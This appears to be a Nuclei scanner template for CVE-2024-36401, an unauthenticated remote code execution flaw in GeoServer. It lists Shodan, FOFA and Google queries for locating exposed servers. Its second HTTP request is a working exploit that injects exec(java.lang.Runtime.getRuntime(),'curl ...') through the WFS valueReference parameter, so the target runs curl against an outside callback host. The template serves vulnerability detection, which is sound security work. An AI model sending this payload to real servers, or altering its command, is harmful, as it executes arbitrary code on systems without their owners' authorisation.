CVE-2024-36401: GeoServer RCE in Evaluating Property Name Expressions

id: CVE-2024-36401

info:
  name: GeoServer RCE in Evaluating Property Name Expressions
  author: DhiyaneshDk,ryanborum
  severity: critical
  description: |
    In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.
  impact: |
    This vulnerability can lead to executing arbitrary code.
  reference:
    - https://x.com/sirifu4k1/status/1808270303275241607
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36401
    - https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
    - https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
  classification:
    epss-score: 0.94425
    epss-percentile: 0.9998
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query: "Server: GeoHttpServer"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
    google-query: intitle:"geoserver"
  tags: cve,cve2024,geoserver,rce,unauth,kev,vkev

flow: |
   if(http(1))
   {
   set("name",template.typename[0])
   http(2)
   }

http:
  - raw:
      - |
        GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    extractors:
      - type: regex
        name: typename
        part: body
        group: 1
        regex:
          - typeName=([^&\]]+)
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{name}}&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+{{interactsh-url}}') HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: content_type
        words:
          - "application/xml"
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